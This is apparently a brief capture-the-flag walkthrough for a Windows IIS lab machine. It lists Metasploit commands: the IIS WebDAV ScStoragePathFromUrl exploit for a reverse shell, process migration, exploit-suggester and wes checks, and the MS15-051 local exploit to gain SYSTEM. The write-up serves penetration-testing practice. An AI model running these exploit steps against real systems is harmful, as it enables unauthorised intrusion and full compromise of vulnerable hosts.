Webdav

  • Let's use the same metasploit module we used in granny use exploit/windows/iis/iis_webdav_scstoragepathfromurl

  • set RHOSTS 10.10.10.14

  • set LHOST tun0 and run

  • We get a shell let's migrate as getuid returns an access denied

  • ps we choose a process running as NT AUTHORITY\NETWORK SERVICE and then we use migrate with pid migrate 1608

  • getuid now returns something to us

Privesc

  • Let's try local exploit suggester first run multi/recon/local_exploit_suggester

  • As for granny we do not get any result.

  • Let's check systeminfo and run wes on it

  • We get also a lot of results with wes

  • Let's try CVE-2014-4076 (MS14-070)

  • Here as well our shell dies

  • It does not seem to be vulnerable to CVE-2014-4113 according to wes

  • Let's try CVE-2015-1701 (MS15-051)

  • use exploit/windows/local/ms15_051_client_copy_image

  • set SESSION 3

  • set LHOST tun0

  • set LPORT 4445

  • run

We get a system shell and we can grab the flags
